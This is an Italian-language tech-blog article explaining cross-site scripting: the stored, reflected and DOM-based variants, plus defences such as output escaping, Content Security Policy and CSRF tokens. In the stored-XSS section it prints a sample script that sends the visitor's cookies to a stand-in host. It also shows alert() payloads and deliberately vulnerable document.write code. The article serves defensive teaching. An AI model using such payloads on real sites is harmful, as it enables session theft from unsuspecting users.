Attacchi XSS: Cosa sono, come funzionano, come proteggersi

22 Febbraio 2023

Attacchi XSS: Cosa sono, come funzionano e come proteggersi

Gli attacchi XSS (Cross-site scripting) sono tra le vulnerabilità più diffuse nelle applicazioni web. In questo articolo approfondiremo cos'è un attacco XSS, quali tipologie esistono, come funziona, e vedremo esempi pratici di codice per comprenderne meglio il funzionamento. Infine, illustreremo come proteggere il tuo sito web da queste minacce informatiche.

Cos'è un attacco XSS?

Il Cross-site scripting (XSS) è un attacco informatico in cui un malintenzionato inserisce codice malevolo, generalmente JavaScript, all’interno di una pagina web affidabile. Quando un utente visualizza questa pagina, il codice malevolo viene eseguito direttamente nel browser della vittima, consentendo all’attaccante di sottrarre informazioni sensibili, rubare sessioni o effettuare operazioni indesiderate.

Tipologie di attacchi XSS

Gli attacchi XSS si suddividono principalmente in tre categorie:

1. Stored XSS

Il codice malevolo viene memorizzato nel server e si esegue automaticamente quando la pagina infetta viene caricata.

Esempio di Stored XSS:

<!-- Un commento malevolo inserito in un forum -->
<script>
  document.location='http://malicious-site.com?cookie='+document.cookie;
</script>

Questo tipo è molto pericoloso perché può colpire tutti gli utenti che visualizzano la pagina compromessa.

2. Reflected XSS

Il codice malevolo è incluso direttamente nella richiesta HTTP (solitamente tramite link malevolo) e riflesso immediatamente nella risposta.

Esempio di Reflected XSS:

URL malevolo:

http://esempio.com/ricerca?q=<script>alert('XSS')</script>

Se il parametro q non viene correttamente sanificato, il codice JavaScript verrà eseguito nel browser dell'utente.

DOM-Based XSS

In questa variante, il codice malevolo viene eseguito direttamente sul client senza essere inviato al server. Accade quando JavaScript gestisce in modo improprio dati non sanificati.

Esempio di DOM-based XSS:

<script>
  var param = location.hash.substr(1);
  document.write("Benvenuto " + param);
</script>

URL malevolo:

http://esempio.com/#<script>alert('XSS')</script>

Come funziona un attacco XSS?

Gli attacchi XSS avvengono principalmente quando un'applicazione web non sanifica correttamente l'input fornito dagli utenti. Il codice malevolo sfrutta questa vulnerabilità per inserirsi nella pagina web ed essere eseguito nel browser delle vittime. In questo modo, l'attaccante può:

  • Sottrarre cookie e token di sessione;
  • Rubare informazioni personali o sensibili;
  • Eseguire azioni nel browser della vittima;
  • Manipolare i contenuti della pagina web.

Come proteggersi dagli attacchi XSS

Per prevenire attacchi XSS è necessario adottare alcune strategie chiave di sicurezza:

1. Sanificazione e validazione degli input

È fondamentale sanificare sempre i dati inseriti dagli utenti prima di visualizzarli sulla pagina web:

Esempio PHP:

// Sanificazione input
$commento_sicuro = htmlspecialchars($commento, ENT_QUOTES, 'UTF-8');
echo $commento_sicuro;

2. Content Security Policy (CSP)

Implementare una Content Security Policy aiuta a limitare le origini consentite per eseguire script e previene l’esecuzione di codice dannoso:

Esempio HTTP Header:

Content-Security-Policy: script-src 'self'; object-src 'none';

2. Output encoding sicuro

Assicurarsi che l'output dei dati utente sia correttamente codificato per evitare esecuzioni accidentali:

Esempio JavaScript:

// Codifica sicura
const nomeUtente = "<script>alert('XSS');</script>";
document.getElementById('user').textContent = nomeUtente;

3. Protezione CSRF e utilizzo di token

Implementare token anti-CSRF per proteggere le richieste e prevenire attacchi combinati XSS/CSRF:

Esempio token CSRF in PHP:

session_start();
$_SESSION['token'] = bin2hex(random_bytes(32));

4. Utilizzare un Web Application Firewall (WAF)

Un firewall delle applicazioni web può rilevare e bloccare attacchi XSS prima che raggiungano l'applicazione.

4. Mantenere aggiornate le applicazioni web

Aggiornare regolarmente il software e i framework aiuta a correggere vulnerabilità note e a proteggersi da attacchi informatici.

Educare gli utenti

Informare gli utenti sui rischi di cliccare su link sospetti o inserire dati sensibili su pagine web non affidabili può ridurre significativamente il rischio.

Conclusione

Gli attacchi XSS rappresentano una minaccia concreta e diffusa sul web. Tuttavia, adottando le best practice illustrate e strumenti adeguati è possibile proteggere efficacemente la tua applicazione e garantire la sicurezza dei tuoi utenti.


Altri articoli dal nostro Tech Blog

28 Luglio 2025
Serverless: come sta rivoluzionando lo sviluppo di web application nel 2025 e oltre

Serverless: come sta rivoluzionando lo sviluppo di web application nel 2025 e oltre Introduzione: la rivoluzione silenziosa del serverless Nel panorama dello sviluppo software, l’architettura serverless è diventata una delle tendenze più disruptive degli ultimi anni e sta ridefinendo le regole per la creazione di web application moderne. Il 2025 segna un punto di svolta, […]

25 Luglio 2025
Ali Baba e la MFA: Perché è indispensabile per ogni app (si, anche la tua!)

L’immagine di apertura di questo articolo mostra Ali Baba davanti all’ingresso della leggendaria grotta, pronto a pronunciare la famosa password “Apriti Sesamo”. Una scena iconica che tutti conosciamo: bastava una sola parola segreta perché la porta si aprisse, permettendo ai ladroni di entrare e saccheggiare. Ma immaginiamo per un attimo se i guardiani della grotta […]

23 Luglio 2025
Edge AI: Intelligenza artificiale decentralizzata per mobile, IoT e industria

Edge AI: la rivoluzione dell’intelligenza artificiale decentralizzata per mobile, IoT e industria Introduzione: la nuova frontiera dell’AI tra edge, cloud e business L’intelligenza artificiale (AI) è oggi il motore della digitalizzazione in molti settori, dai servizi finanziari all’industria, dalla sanità all’automotive. Tuttavia, la corsa alla centralizzazione in cloud ha mostrato limiti in termini di latenza, […]

18 Luglio 2025
Sviluppare applicazioni mobile sicure nel 2025

Sviluppare applicazioni mobile sicure nel 2025: strategie di cybersecurity, strumenti e best practice per aziende moderne Introduzione Viviamo in un’epoca in cui le applicazioni mobile rappresentano il punto di contatto principale tra aziende e clienti. Banche, assicurazioni, e-commerce, healthcare e persino la pubblica amministrazione affidano alle app mobile la gestione di dati sensibili e processi […]

Richiedi un incontro

Compila il form per ottenere una consulenza personalizzata per il tuo progetto.

Compila i campi per essere ricontattato

© Pizero Design srl, tutti i diritti riservati - P.I. 02313970465 - REA LU-215417
X
lockuserscartcalendar-fullsmartphonelaptopbriefcase